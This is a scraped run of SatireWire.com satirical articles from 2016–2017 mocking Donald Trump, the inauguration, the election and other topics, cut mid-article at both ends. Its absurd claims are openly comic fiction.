House chief of staff Joe Hagin. HAGIN: Your job, officer, is to keep the President safe, period. You should not be questioning visitors or putting an idea into their heads that going into the White House is anything but a privilege. Are we clear? GUARD: Yes sir. I’ll just let ‘em go in. HAGIN: Good. GUARD: Maybe I’ll just shake my head or something. HAGIN: No, you cannot shake your head or something! GUARD: All right. I’ll just roll my eyes like Octavia Spencer, like, “OK, if you think that’s what you really wanna do.” HAGIN: No! You will not grimace or wink or roll your eyes or make a noise that implies their visit will be anything but wonderful! GUARD: OK OK. I got ya. But… Mr. Hagin, you going back in the White House? HAGIN: Yes. GUARD: OK. I’m gonna pray for you. Me and the wife. © 2017 SatireWire.com Related Tags: trump, Trump White House, white house, white house tour Previous Topic: ALL 3 MILLION ILLEGAL IMMIGRANT VOTERS MARCH ON WASHINGTON Next Topic: HEY HUMANS, IT’S NOT SO FUNNY TO LOOK LIKE THIS FOR REAL, IS IT?"], ['no-topic', 'ALL 3 MILLION ILLEGAL IMMIGRANT VOTERS MARCH ON WASHINGTON', 'Every illegal immigrant that voted is seen here on the National Mall. WASHINGTON, D.C. (SatireWire.com) – Finally emerging from the shadows, the 3 million illegal immigrants who voted in November’s presidential election marched on Washington, D.C. today, carrying signs reading “………………” and chanting slogans like, “…………….,” and “……..,…………….!” The illegals, whose ballots cost President Trump the popular vote, stretched from the Capitol building all the way to the Lincoln Memorial in much the same way the crowd did at President Trump’s inauguration last week. “…………..,” explained one protester, who said he came from Mexico along with drug dealers, rapists, and a few of what he assumed were good people. “………………..,” he added. In a show of unusual solidarity, the 3 million illegal immigrants were joined by the thousands of Muslim Americans who cheered from a New Jersey rooftop on 9/11, countless children with vaccine-induced autism, and about a quarter of a million Syrian refugees – mostly young, male ISIS fighters – who came into the U.S. last year at the behest of their terror movement’s co-founders, Barack Obama and Hillary Clinton. Among the more prominent marchers were the team of experts who discovered Obama’s Kenyan birth certificate, Chinese leaders who created the climate change hoax, and the man who assassinated Supreme Court Justice Antonin Scalia. Police said no arrests were made. A smaller, counter-protest is expected tomorrow comprised of Americans who don’t care at all about the President’s tax returns, men who grope women but mean no disrespect, and House Speaker Paul Ryan’s testicles. © 2017 SatireWire.com Previous Topic: DONALD TRUMP IS THE GREATEST OF ALL 7,504 AMERICAN PRESIDENTS Next Topic: WHITE HOUSE GUARDS TOLD TO STOP ASKING VISITORS ‘ARE YOU SURE YOU WANNA GO IN THERE?’'], ['no-topic', 'DONALD TRUMP IS THE GREATEST OF ALL 7,504 AMERICAN PRESIDENTS', 'Sean Spicer By Sean Spicer White House Press Secretary Look, I don’t care if you don’t like it, here are the alternative facts: Donald J. Trump, born in Accra, Ghana, of Swiss-Nigerian parents, is the greatest of all 7,504 American presidents, of whom the first 400 regularly made love to Louisa May Alcott, and the last 81 of whom bore a striking resemblance to Miami Dolphins legendary linebacker Nick Buoniconti. Period. End of discussion. The President’s inaugural was attended by every American ever born, as well as ALL THE ANGELS OF HEAVEN. Any photographs or video that fails to show every square inch of Washington, D.C. covered in adoring Americans and genuflecting celestial beings has been DOCTORED in an attempt to discredit the greatest administration in U.S. history, and the people who did this are all in the media, whose names and addresses and loved-ones’ daily movements will be released to our supporters in the intelligence community, ALL of whom love Donald Trump, even the Nazi ones. As President Trump has proven numerous times, he is the only completely honest person ever and polls verify this, showing that 100 percent of Americans find his truth so luminous that they are NOW LEGALLY BLIND. So no one can see me. If you claim otherwise, you’re lying. Also the President has, during his 35 years on Earth – yes, he is 35, THAT IS NOT UP FOR DEBATE – only ever thought of and done things for others, and is so selfless than he often forgets his own name, which is the ONLY reason he puts it on so many buildings; they help jog his memory, which itself has been scientifically proven to be amazing and prodigious and basically a supercomputer which, like other momentous discoveries and events that took place during President Trump’s life – the Moon landing, defeating Communism, eradicating polio, The Apprentice seasons 1 through 14 – are a direct result of President Trump being alive. All horrible events – 9/11, Malaysia Flight 370, ISIS, The Apprentice season 15 – were created by Islam, the dishonest media, Barack Obama, and Arnold Schwarzenegger, respectively. President Trump has assembled the Greatest, Smartest, Most Talented and Incredible Cabinet ever, and that goes for each cabinet nominee as well as each cabinet and drawer and nightstand and walk-in shower in every room of the luxurious new Trump International Hotel in Washington, D.C., which is so stunningly beautiful that it can walk up to you on the street and kiss you on the mouth WITHOUT ASKING and YOU’LL JUST LET IT HAPPEN. And that is not sexual assault. It’s just hotel talk. During his first 10 minutes in office, the President brought back 32 million manufacturing jobs and by 6 a.m. the next day, he had restored coal production to 1922 levels, which will end ONCE AND FOR ALL any talk about climate change because the climate was fine in 1922, so we’re done talking about that. This morning he also held a private summit with German President Angela Merkel and Russian President Vladimir Putin and beat them both in arm wrestling AT THE SAME TIME. Also, Merkel cried like a girl. On a brief biographical note, President Trump, who has hands the size of pregnant camels, is a direct descendant of Queen Elizabeth I – the hot Cate Blanchett one, not the old Helen Mirren one – and Abraham Lincoln, who history notes was assassinated by actor and sleazy A-List celebrity John Wilkes Booth, who was hired by Ted Cruz’s father, subscribed to The New York Times, and was a good friend of Rose O’Donnell. Period. End of discussion. © 2017 SatireWire.com Previous Topic: SATIREWIRE’S GUIDE TO “YOUR” INAUGURATION DAY SCHEDULE Next Topic: ALL 3 MILLION ILLEGAL IMMIGRANT VOTERS MARCH ON WASHINGTON'], ['no-topic', 'SATIREWIRE’S GUIDE TO “YOUR” INAUGURATION DAY SCHEDULE', 'Your Schedule for the Presidential Inauguration, Friday, Jan. 20, 2017 6 a.m. – Unable to sleep, you stare at the ceiling, wondering. “What will happen to America now? What will happen to minorities? What will happen to the poor? What will happen if I go to work drunk?” 7 a.m. – Over breakfast, all the TV talk is about the inauguration. You bristle, but the voice inside your head attempts to calm you. “Life is strange,” it says. “Who knows? Maybe Donald Trump will change.” You sigh, nod, and tell yourself not to stress. Then the voice inside your head gives a hollow laugh. “I’m lying,” it says. “You’re pathetic.” 7:15 a.m. – As you brush your teeth, you think, “Things won’t get worse for everyone. It really depends on who you are.” You look in the mirror and remember that who you are is an American, so, yeah, it’ll get worse. 7:30 a.m. – You consider calling in sick to work, but realize half your office will probably do that, meaning the line will be shorter at Starbucks. You decide to go to work. Some opportunities are rare. 8:20 a.m. – Heading into work, you decide not to think about the inauguration. To distract yourself, you instead think about the day your grandfather died. 9:30 a.m. – At work, a colleague turns the television on, watching the beginning of inauguration ceremonies. He doesn’t seem bothered at all. In fact, he seems cheerful. You fight the urge to judge him, and instead decide to think of him as someone you kind of hate right now. 10:30 a.m. – Checking in on Facebook, you see most of your friends feel exactly the same as you about what today means, blissfully unaware that this is part of the problem. 12 p.m. – Unable to resist, you watch Trump take the oath of office. “God help us,” you think. “Or, if it turns out You actually wanted this to happen, please stop helping us.” 2 p.m. – You step outside to clear your head. The chill feels good. You take a deep breath as you watch a small bird sitting on a tree branch. “You’ll be dead soon,” you say. “We’ll all be dead soon.” 5:45 p.m. – You leave work, your day a bit of a haze. All you can think about – all anyone can think about – is that Donald J. Trump is the President of the United States. You shudder, but then you consider the peaceful transition of power and the great gift given to the people allowing them to decide for themselves who their leaders should be, and you wonder who’s fuckin’ great idea that was. © 2017 SatireWire.com Previous Topic: SATIREWIRE’S GUIDE TO THE PRESIDENTIAL INAUGURATION Next Topic: DONALD TRUMP IS THE GREATEST OF ALL 7,504 AMERICAN PRESIDENTS'], ['no-topic', 'SATIREWIRE’S GUIDE TO THE PRESIDENTIAL INAUGURATION', 'Inauguration Day Schedule, Friday, Jan. 20, 2017 3:45 a.m. – In the first sign that America’s day isn’t off to a good start, Donald Trump will wake up. 3:46 a.m. – Trump will tweet: “Inauguration Day! IF I decide to go through with it. MAYBE I WON’T. Unpredictable!” 3:48 a.m. – Trump will go back to sleep, closing one eye. The other will stay open to check for retweets. 4:45 a.m. – Trump will dress, have breakfast, and look at the weather forecast, which will call for high winds. He will set the dial on his pneumatic hair stabilizer to 9. 6 a.m. – Trump will receive his last intelligence briefing as president-elect, during which national security experts will present him with a document detailing the greatest threats he will face once in office. The document will contain one word: “You.” 8:00 a.m. – As did his predecessors, Trump will attend a private prayer service at St. John’s Episcopal Church, at which time God will appear and plead with the President-Elect to refuse the presidency. In response, Trump will phone Julian Assange and tell him to release everything he has on God. 9:00 a.m. – At Arlington National Cemetery, the incoming President will lay a wreath to honor, he will say, “the armed forces that have so nobly served our Russian nation.” 9:45 a.m. – At the opening of the inauguration ceremony, the Mormon Tabernacle Choir will sing the world’s first ironic rendition of ‘God Bless America.’ 10:00 a.m. – President Obama and Vice President Biden will escort Donald Trump and Mike Pence to the Capitol, despite Biden’s repeated insistence that the inauguration won’t count because there aren’t enough Democrats. 10:30 a.m. – The Radio City Rockettes will perform their high-kick routine while jumping barefoot on broken glass to symbolize the nation’s inner pain. 11:30 a.m. – Sixteen-year-old “America’s Got Talent” runner-up Jackie Evancho will sing the national anthem, at which point Donald Trump will decide to marry her within two years. 11:45 a.m. – Mike Pence will be sworn in as Apprentice President. 11:55 a.m. – Chief Justice John Roberts will shake hands with Donald Trump and inform him that he cannot become president… in a dream Roberts had the night before. In reality, Roberts will sigh and get on with it. 11:59 a.m. – Eschewing the traditional bible for his swearing in, Donald Trump will place his left hand on Chapter 7 of the U.S. Bankruptcy laws. 11:59:30 –Justice Roberts will begin to read the oath of office but Donald Trump will interrupt him: TRUMP: Wait, what are you doing? ROBERTS: Reading the oath of office. TRUMP: We’re not breaking for commercial? ROBERTS: We don’t have commercials. TRUMP: No, we should break for commercial here. Heightens the tension. Noon – Donald J. Trump will be sworn in as the 45th President of the United States as three living former presidents – Barack Obama, George W. Bush and Bill Clinton – look on in envy of all the dead presidents who don’t have to see this. 12:01 p.m. – Under direction from Trump, Justice Roberts will read a 140-character Tweetable version of the oath of office: “I, Donald J Trump, do solemnly yada yada yada, believe me. Meryl Streep overrated! #BestPresidentEver #NotEvenClose” 12:02 p.m. – As the crowd cheers, President Trump will tweet, “Vladimir, I’ve got the codes! … sorry that was supposed to be a text. IGNORE!” 12:30 p.m. – President Trump will end his inaugural address with the immortal words: “Good luck, morons.” 1 p.m. – Former President Barack Obama and First Lady Michelle Obama will leave Washington to take a well-earned vacation in Southern California. They will stay at a Trump hotel just to rate it one star on TripAdvisor. 1:07 p.m. – President Trump will sign his first executive order, prohibiting Robert Pattinson from ever even thinking about getting back with Kirsten Stewart. 1:30 p.m. – Congress will host the President and Vice President at the Capitol for the Congressional Luncheon. Pence will eat chicken. Trump will eat the First Amendment. 2:35 p.m. – The inaugural parade will head down Pennsylvania Avenue with each participant marching single-file so it looks longer. 7 p.m. – President Trump will attend the Commander-in-Chief’s Inaugural Ball, held to honor America’s veterans, and try very hard not to mock the disabled ones. 8:30 p.m. – President Trump will attend the “official” Inaugural Ball, where Kanye West and Trump advisor Steve Bannon will perform a duet as ‘Klanye.’ 2 a.m. – Ending his historic day, the President will bid goodnight to First Lady Melania Trump, who will zip her husband into the giant, hermetically sealed bag of Cheetos in which he sleeps. © 2017 SatireWire.com Previous Topic: DONALD TRUMP CALLS GOD ‘OVERRATED’ AFTER HOLY SNUB Next Topic: SATIREWIRE’S GUIDE TO “YOUR” INAUGURATION DAY SCHEDULE'], ['no-topic', 'DONALD TRUMP CALLS GOD ‘OVERRATED’ AFTER HOLY SNUB', 'NEW YORK, NY (SatireWire.com) — Escalating his Twitter war on A-list celebrities, Donald Trump today called God “overrated” after Jewish online journal The Forward wrote that the president-elect was anointed by the electoral college and not the Almighty. The seemingly innocuous mention in a four-sentence story nonetheless infuriated Trump, who unleashed a series of angry Twitter posts. As the tweets were being posted, Trump surrogates were forced to defend their boss, often in real-time. “It is ridiculous to claim President-Elect Trump is attacking God,” said advisor Kellyanne Conway, speaking on CNN after the first three posts appeared. “And by the way, isn’t it great to have a president who invokes the name of God to…” “Excuse me, Kellyanne,” interrupted CNN’s Jake Tapper. “He just sent another tweet. It reads, ‘Failing God goes by so many names! Yahweh, Jehovah, Allah. You know who else uses aliases? Mexican drug lords!’ Kellyanne, you were saying?” “Well, obviously, when he says the ‘Lord’ he is referring to… to criminals, drug lords, not the Lord Himself,’ Conway answered. “Really it is President Obama who has failed to…’ “I’m sorry, Kellyanne,” Tapper cut in. “Your boss has tweeted again. Look.” Tapper turned again to Conway, who shifted uncomfortably. “OK, well this… look, we all want what’s best for our children and Donald Trump, as he points out, is a great father,” she stated. “And he will be great for all Americans, young and old, male and female…” Tapper again interjected, noting Trump had just tweeted: “Right, OK, yes,” said Conway, composing herself. “So, when he says ‘women,’ he’s not referring to ALL women, of course, he just… tweeted again.” “Indeed,” said Tapper. After staring at her prompter for a few moments, Conway tried to explain. “Well, President Elect-Trump is very proud of his businesses, which have been incredibly successful,” she said. “But let me reiterate that his great passion should in no way be interpreted to mean he thinks of himself as above…” “He’s still going,” interrupted Tapper. Tapper again turned to Conway, who checked her watch. “I’m late for a meeting with my therapist,” she said, leaving the set. © 2017 SatireWire.com Previous Topic: SHIT APPROACHING FAN Next Topic: SATIREWIRE’S GUIDE TO THE PRESIDENTIAL INAUGURATION'], ['no-topic', 'SHIT APPROACHING FAN', 'WASHINGTON, D.C. (SatireWire.com) – Scientists monitoring catastrophic inevitability said today the shit is fast approaching the fan and will almost certainly hit the fan by the 20th of January. While small amounts of shit hit the fan every day, experts warned this shit is unlike anything that’s come before. “The fan has been hit by a lot of shit over the years, but this shit is huge,” said Neal Kasinksy, director of the U.S. Cataclysmic Threat Center. “I fear for the future of our fan.” Observers first recognized the threat posed by this giant shit more than a year ago, and watched helplessly as it gained momentum through the fall of 2016. “Unfortunately, it is too late to stop this shit from happening,” said Kasinsky. “Our opportunity to do that came in November. Had we acted then, we might have diverted this shit from our path. But that is not the case. That shit has sailed.” This tremendous shit could, in theory, overwhelm the fan, rendering it incapable of expelling the shit simply because the weight and volume of shit would be too much for the size and power of the fan. In that scenario, scientists are at a loss to predict what will happen. “The shit could just sit there, in a massive, fetid pile, and refuse to move,” said Dr. Frank Maxx of the U.S. Gastroastronomical Survey. “Eventually, more shit will be added – there is always more shit – but that shit will not be dispersed into smaller, manageable amounts because the fan has broken down. Therefore, it will grow to overwhelming proportions until, quite literally, everything is shit.” Particularly frustrating, said Maxx, is that, “We brought this shit on ourselves.” “A lot of people were upset and actually wanted the shit to hit the fan, but this dangerous shit is not the answer,” he said. “Trust me, no good will come of this shit.” Even if the fan somehow manages to continue functioning, the outcome is unlikely to be positive, said Caroline Molineaux, head of the Near Fan Shit Observatory in Hawaii. “What happens when shit hits a fan?” said Molineaux. “The shit inevitably blows back and hits you, and the very people who wanted the shit to hit the fan will likely be the ones most negatively impacted by it.” Traditionally, distance from the fan often negated the most severe impacts of the shit, but this time, Molineaux said, there is no safe distance. “People have wondered about going to Canada or South America or Australia, but this shit is terrifying, and nowhere is truly safe,” she said. The shit is expected to hit the fan at noon on Jan. 20 and will be televised live. Afterward, experts said, the fan will be pummeled by unprecedented amounts of shit every day for at least four years, and possibly twice that. © 2017 SatireWire.com Related Tags: donald trump, hit the fan, president trump, trump, what will trump do? Previous Topic: OLD GROWTH iPHONE FORESTS IN DANGER Next Topic: DONALD TRUMP CALLS GOD ‘OVERRATED’ AFTER HOLY SNUB'], ['no-topic', 'OLD GROWTH iPHONE FORESTS IN DANGER', 'OLYMPIA, WA. (SatireWire.com) – Old-growth iPhone forests are in danger of disappearing, according to environmentalists who accuse Apple of recklessly clear-cutting the uniquely adaptable metallic trees. The iPhone, or mobilis iCogitatio, was once one of the most common trees in North America, outnumbered only by the red maple and the loblolly pine. But since Apple first discovered the leafless timber’s unusual properties – once sapped, it shrinks to handheld size – the company has harvested more than one billion of the majestic species. With sales of 200 million a year, the pace is unsustainable and irresponsible, said Sierra Club Director of Cooptation Sidney Luther. “Even in ideal conditions, an iPhone takes at least 40 years to mature, so in order to keep the stock flowing, Apple has ruthlessly stripped old-growth forests where iPhones have stood for 300 or 400 years,” said Luther. “Yet last July, Apple had the gall to celebrate its one billionth iPhone sold. They actually celebrated! It’s barbaric. Do you celebrate killing a billion whales or murdering a billion flowers?” Particularly galling, said Luther, are Apple’s repeated denials that iPhones are a natural resource. “The company keeps claiming that iPhones are assembled in Chinese factories by underage and poorly paid workers because they don’t want you to know the horrible truth: Apple is harvesting ancient iPhones without regard to the environmental consequences,” he said. “Don’t believe me? Cut one open and count the rings.” Apple refused to comment on this story, but did strongly advise consumers not to cut open an iPhone as it voids the warranty. “Oh, of course they’d say that!” Luther responded. According to the Natural Resources Defense Council, cutting old-growth forests is not just devastating to the trees and the land, but to the coexistent wildlife. “There are literally hundreds of small and rare animals living in and around the iPhone canopy, including the unicorn, the mini-whale, the kitty tiger, and the yellow-faced smiley,” said NRDC spokesperson Kit Pernow. “People don’t realize that if these creatures can’t escape, they are permanently trapped in the iPhone when it’s sapped and shrunk. Apple, rather cynically, calls them ‘emoji,’ but you should know that when you tap on one, you are essentially punching the corpse of a once-living thing. “People are awful,” she added. Despite the fact that Apple will not acknowledge iPhone harvesting exists, activists plan to put up a fight on behalf of both the environment and the consumer. “Because Apple has been so reckless, one day very soon we’re going to run out of iPhones, and what are we going to do then?” Luther said. “There aren’t any other trees suitable for mobile adaptation. Samsung already tried it, making the Galaxy 7 out of wood, and look what happened.” © 2016 SatireWire.com Related Tags: apple, iphone 7, iphone trees, mac, old growth forest Previous Topic: JOHN GLENN (RIP): ‘I CLAIMED EARTH FOR MYSELF WHILE ORBITING’ Next Topic: SHIT APPROACHING FAN'], ['no-topic', 'JOHN GLENN (RIP): ‘I CLAIMED EARTH FOR MYSELF WHILE ORBITING’', "John Glenn, 1921-2016. This story originally published in 2012. COLUMBUS, OHIO (SatireWire.com) — Fifty years after becoming the first American to orbit Earth, John Glenn, who died today at age 95, revealed that while circling the globe in 1962, he secretly laid claim to the entire planet, which he renamed, ‘Johnglenndia.’ John Glenn's first official Senate photo, before aides cleaned it up. “Explorers claim things, I was an explorer, so I claimed it, as was my right,” the 90-year-old national icon explained in 2012. “As the first American to set eyes upon all the oceans and continents of this world, I said, ‘I claim this planet in the name of myself, and it shall evermore be known as Johnglenndia.’ It was all very legal.” While most Americans were surprised by the revelation, Glenn’s belief that he claimed Earth for himself was well-known to NASA insiders and former colleagues in the U.S. Senate, where Glenn served for 24 years. “Oh God, he’d go on and on about it,” said former Kansas Sen. Bob Dole. “In the Senate, he would introduce bills for the preservation of Johnglenndia. At parties he would introduce himself as, ‘John Glenn, Senator of the United States and Sovereignaut of the planet of Johnglenndia.’” Added former South Dakota Sen. Tom Daschle: “Whenever we passed legislation that the President had to sign, John would say, ‘I’ll take that. I am his boss, you know.’ And if someone ever asked, ‘John, what on Earth are you talking about?’ he would say, ‘You mean what on Johnglenndia am I talking about.’” Like Glenn’s fellow senators, NASA and U.S. military officials pretty much played along, not wanting to upset an American hero turned global ruler. Former Navy frogman Everett Tinker, the first man to greet Glenn when his capsule splashed down in the Atlantic Ocean, remembers thinking the astronaut had space sickness. “The first thing John said when the capsule popped open was, ‘Ah, faithful subject, it is great to be back home on Johnglenndia,’” said Tinker. “Then he appointed me Royal Governor of the Southern Hemisphere, which was cool.” Apollo astronaut Michael Collins said he often grew tired of placating his colleague, but he did enjoy the times when Glenn and Soviet cosmonaut Yuri Gagarin – the first man to orbit Earth – “really went at each other.” Glenn gave out these buttons on the campaign trail, despite staffer efforts to stop him. “John and Yuri would go back and forth for hours yelling, ‘Yuriland! Johnglenndia! Yuriland! Johnglenndia!’” Collins recalled. “It was like listening to Alexander the Great and Genghis Kahn arguing over who ruled Earth. Except they weren’t Alexander the Great and Genghis Kahn.” Glenn never even became the U.S. President, although he once gave it a try. But he did win election four times to the Senate, a record some attribute to his Johnglenndia declaration. “Honestly, John never cared that much about politics,” Dole recalled. “He’d just say, ‘If I lose the election, I’ve still got the planet. Ho hum.’” In a 2012 interview, Glenn admitted that some of his subjects continued to stubbornly use the term “Earth,” a fact that he could not quite fathom. “It’s been 50 years. You’d think by now everyone would be on board,” he said. “But rest assured I will move Heaven and Johnglenndia to get what’s mine.” "], ['no-topic', 'PUTIN-OBAMA MEMES', '(SatireWire.com) After doing his part to swing the U.S. election for Donald Trump, Russian President Vladimir Putin has been enjoying his discussions with President Barack Obama. Previous Topic: TRUMP APPOINTS ANGRY, RACIST COFFEE MUG TO TRANSITION TEAM Next Topic: JOHN GLENN (RIP): ‘I CLAIMED EARTH FOR MYSELF WHILE ORBITING’'], ['no-topic', 'TRUMP APPOINTS ANGRY, RACIST COFFEE MUG TO TRANSITION TEAM', 'NEW YORK, NY (SatireWire.com) – In the latest staff shakeup, President-elect Donald Trump today reportedly replaced key members of his transition team with an angry, racist coffee mug. The mug, which portrays an angry man shouting a racist phrase, immediately drew the ire of Democrats, who said it sends “exactly the wrong signal” to a divided nation. But Trump campaign manager Kellyanne Conway brushed off the criticism. “Democrats talk about healing our country, and yet this kind of talk does nothing to bring our country together,” said Conway. “President-elect Trump is very pleased to have the angry, racist coffee mug join his incredible team to make America great again, and I urge all Americans not to judge the angry, racist coffee mug on its past performance, on what we ‘think’ its views are, or on any other forms of perceiving it, but instead judge it on what it will do in the unknowable future.” Other Republicans accused Democrats of attempting to undermine the incoming president. “They lost the election and now they’re pointing fingers trying to make the angry, racist coffee mug into a caricature,” said Sen. John Cornyn, R-Texas. “I haven’t met the angry, racist coffee mug personally, so I can’t say it’s racist or not, but I can say it’s ridiculous to claim that the angry, racist coffee mug is entirely responsible for every single thing that’s printed on it.” Sources inside Trump Tower said the angry, racist coffee mug has so far fit seamlessly into the transition, and hinted that another staff announcement could come as early as tomorrow, when outgoing advisor Mike Rogers, a Republican moderate, will be replaced by a box of firecrackers. © 2016 SatireWire.com Related Tags: donald trump, president-elect trump, racist coffee mug, steve bannon, trump 2016, trump transition team Previous Topic: ELECTION CHANGES POLITICAL LANDSCAPE INSIDE MARRIAGE Next Topic: PUTIN-OBAMA MEMES'], ['no-topic', 'ELECTION CHANGES POLITICAL LANDSCAPE INSIDE MARRIAGE', 'RICHMOND, VA (SatireWire.com) – Donald Trump’s shock election has dramatically shifted the political landscape in the home of Deirdre and Scott Taylor of Richmond, Va., as Scott’s vote for Trump has caused Deirdre to redraw the physical and emotional boundaries of their relationship, in lieu of just killing him. “Due to the incomprehensible votes cast by certain members of this household electorate, I am shifting policy to address the very real threat that my husband Scott is an idiot,” said Deirdre Taylor of Richmond, Va. “As a result, I am today redistricting our house such that Scott resides only his areas, specifically the basement, the garage, the couch – every night – and the yard, although not in areas of the yard where I can see him or hear him or smell him.” The bedroom, she added, is now the equivalent of the post-industrial Midwestern states that went for Trump. “It’s a place of anger and sadness that was once a thriving hub of activity but now that’s gone and it’s never coming back,” she said. The Taylors, who have been married for 12 years, are among thousands of couples in the U.S. that are struggling to adapt to the seismic shift in their once-united states, a shift brought on by a vote in which the women voted for Hillary Clinton and the men chose Trump. Ironically, many of these white, suburban males now find themselves holding the status of the women and minorities Trump often railed against. “I’ve talked it over with Deirdre and our friends, and my husband Kirk and his buddies will now be marginalized, under-served and, politically and in all other ways, impotent,” said Kora Ann Snelling, a neighbor of Deirdre’s. “Using terms Mr. Trump and my husband can understand, they’ll be vaginally bankrupt.” For the Taylors, the shift became apparent late on election night as they watched the results come in. “I asked Scott if he voted for Hillary, and he said, ‘Um…’ Deirdre recalled. “That’s all I said! ‘Um,’ Scott explained. “Because you couldn’t bring yourself to admit you voted for a race-baiting, misogynistic pathological liar who draws support from white nationalists and boasts of sexual assault!” Deirdre countered. “But I just… wanted to make American great again,” Scott protested. “Why don’t you make the doghouse great again instead?” Deirdre replied. “We don’t have a dog,” Scott pointed out. “Well get Mexico to build you one!” she said. While Trump doesn’t take office until January, Deirdre has already taken steps to institute a core tenet of her new policy. “I have completed a virtual border wall between myself and the father of our children – our two daughters! – and if he so much as attempts to approach he will be treated as an enemy combatant,” she said. At press time, Deirdre was reading the children a book about tolerance while Scott was trapped in a hell of his own making. © 2016 SatireWire.com Related Tags: donald trump, electoral map, trump 2016, trump voters Previous Topic: AMERICANS DESPERATELY TRYING TO REMEMBER ELECTION SAFE WORD Next Topic: TRUMP APPOINTS ANGRY, RACIST COFFEE MUG TO TRANSITION TEAM'], ['no-topic', 'AMERICANS DESPERATELY TRYING TO REMEMBER ELECTION SAFE WORD', 'Washington, D.C. (SatireWire.com) – Pushed to the limits of pain by an election that was initially entertaining but has clearly gotten out of hand, Americans today are frantically trying to remember the safe word that will stop this sadistic presidential race before it ends badly. “Honestly, at first I thought it was just a little role-playing,” said Jessica Riley, 44, of Austin, Texas. “Donald Trump as President Trump? I was like, ‘It feels so wrong, but I can’t turn away.’ But then the FBI jumped into the race with more emails and suddenly I was like, ‘Oh God no, Donald Trump actually is going to be president! Apple! Baseball! Putin!’” “Honestly, I can’t think of what it was!” added desperate 28-year-old Clay Toombs of Charlotte, N.C. “Pineapple? Oklahoma? Mussolini? Just please stop! And no I am not kidding, and no I am not saying this because I really want you to keep going! I mean it!” With the election only days away, voters said they probably should have ended this dark, ‘50 Shades of Orange’ fantasy sooner, but conceded they didn’t recognize how abusive things would become. “OK, intially it did spice things up,” said Seattle resident Taylor Bryant, 38. “Trump was really pushing the boundaries. He was into all the kinky stuff like gagging the press, handcuffing immigrants, stop and frisk. Plus he had this whole prison fantasy with Hillary. But then he got over-the-top dirty – pussy grabbing, blood coming out of her wherever, and, c’mon, suggesting he’d like to get it on with his daughter? “I draw the line at scarring,” Bryant added. “I don’t want any visible scars, and right now I feel scarred for life.” Like many voters, D.T. Fillion, 56, of Clemson, S.C., said he wishes the election campaign had never taken place. “If what happened in 2016 could stay in 2016, that’d be great,” he said. “We’ll just say it was a phase. And hope my kids don’t find out.” Carolyn Frate of Brooklyn, meanwhile, said she’s no longer excited by either candidate. “If we could just have Tim Kaine and Mike Pence, I know that would be, like, the electoral missionary position, but right now I could do with boring,” she said. For the record, the safe word is “Vote.” © 2016 SatireWire.com Related Tags: donald trump, election 2016, hillary clinton, political s&m, politics, presidential election, safe word Previous Topic: PRESIDENTIAL PRIMARIES: THE BRUTALLY IMPARTIAL UPDATE Next Topic: ELECTION CHANGES POLITICAL LANDSCAPE INSIDE MARRIAGE'], ['no-topic', 'PRESIDENTIAL PRIMARIES: THE BRUTALLY IMPARTIAL UPDATE', "MANCHESTER, N.H. (SatireWire.com) – The presidential candidates battled in New Hampshire today after Texas Sen. Climate Killer Everyone Hates Him He’s Canadian swept to victory Monday in Iowa over frontrunner Orange Hitler Lout-Mouth Helmet Head, while Sneaky Barks-When-Laughing Benghazi Felon squeaked out a Democratic win over Vermont Sen. Grumpy Commie Seinfeld Reject Silly Old Person. The leaders heading into New Hampshire's primary The results gave a boost to young Florida Sen. Dry Mouth Deer-in-Headlights Amnesty Wimp, who finished a strong third to become the favorite of the Republican establishment. The insurgent campaign of Grumpy Commie Seinfeld Reject Silly Old Person also feels confident about New Hampshire, a primary that Sneaky Barks-When-Laughing Benghazi Felon’s husband, former President Liar Liar Pants Unzipped, won in 1992. Meanwhile, three Republicans have now dropped out of the race: former Arkansas Gov. Red Neck Hucka-Birther Bible-Thumper, Libertarian Kentucky Sen. Harpo Hair Harpy Voice Buzzkill, and former Pennsylvania Sen. Please Don’t Look Up My Last Name on Urban Dictionary. Among Democrats, former Maryland Gov. Seriously Who Is Martin O’Malley Again?, also ended his campaign. As for the rest of the Iowa Republican field, neurosurgeon Sleepwalking Froot Loops Mother-Puncher finished fourth with 9 percent, Harpo Hair Harpy Voice Buzzkill took 4.5 percent, with the rest of the candidates far behind, most notably former Florida Gov. Low Energy! Whiny Money Pit, whose campaign has fizzled in part due to the negative legacy of his brother, former President Mission Accomplished War-Monger Dimwit. Analysts said the shock defeat for Orange Hitler Lout-Mouth Helmet Head was aided by two factors: 1) Skipping the last debate over opposition to Fox News moderator Biased Bimbo Bleeds From Wherever, and 2) The negative impact of an endorsement from former Alaska Gov. I-Can-See-Russia-But-Can’t-Spell-IQ. In the Granite State today, the campaigns were busy ahead of next week’s primary. At a raucous rally in Keene, N.H., Grumpy Commie Seinfeld Reject Silly Old Person told a standing-room-only crowd of Self-Important Everything-Should-Be-Free! Ten-Year-Olds that the revolution starts with them. An hour away at Nashua Community College, Sneaky Barks-When-Laughing Benghazi Felon spoke to a gathering of 1,100 staunch She’s-Not-Great-But-We-Have-to-Support-Someone-How-Sad-Is-That?s, and promised to continue the legacy of current U.S. President Kenyan Muslim Nazi Robot. Note: The Vast Left-Wing Media Conspiracy and Fox News contributed to this report. © 2016 SatireWire.com © 2016 SatireWire.com Related Tags: 2016 election, ben carson, bernie, bernie sanders, clinton, jeb bush, new hampshire, presidential primary, rand paul, rubio, santorum, ted cruz, trump Previous Topic: REPORT CONFIRMS POOREST HALF OF WORLD PROBABLY NOT EVEN TRYING Next Topic: AMERICANS DESPERATELY TRYING TO REMEMBER ELECTION SAFE WORD"], ['no-topic', 'REPORT CONFIRMS POOREST HALF OF WORLD PROBABLY NOT EVEN TRYING', 'OXFORD, U.K. (SatireWire.com) — A new report claims just 62 individuals control as much wealth as half the world’s population, leading economists to speculate that the bottom half must not be trying very hard. “It’s shocking that the 62 richest people on Earth had wealth ($1.76 trillion) equivalent to the poorest 3.6 billion people,” said Marcus Scott, an economist at Xyrp Asset Management. “You have to ask yourself, ‘Combined, all those folks can’t even earn as much as just five-dozen people? Honestly, it’s like they’re not even trying. No wonder they’re poor.’” The Oxfam study, released this week, suggests several steps that can close the income gap, such as, “pay workers a living wage,” “promote women’s economic equality,” and “crack down on international tax havens.” But to Fox Business analyst Tracey Neidermeir, the unaffluent should start by making better decisions. “The poor spend their days buying cheap food and discount socks and paying rent on horrible little apartments, which is a diversified portfolio, granted, but in the wrong sectors,” Neidermeir said. “Instead of food, clothing, and shelter, right now people should be thinking treasury bonds, healthcare stocks, and Iranian energy infrastructure.” Critics of the wealth gap argue the poor don’t have the financial power to invest like the wealthy do, a situation economist Alex Feinstrobe said is easily overcome. “If you don’t 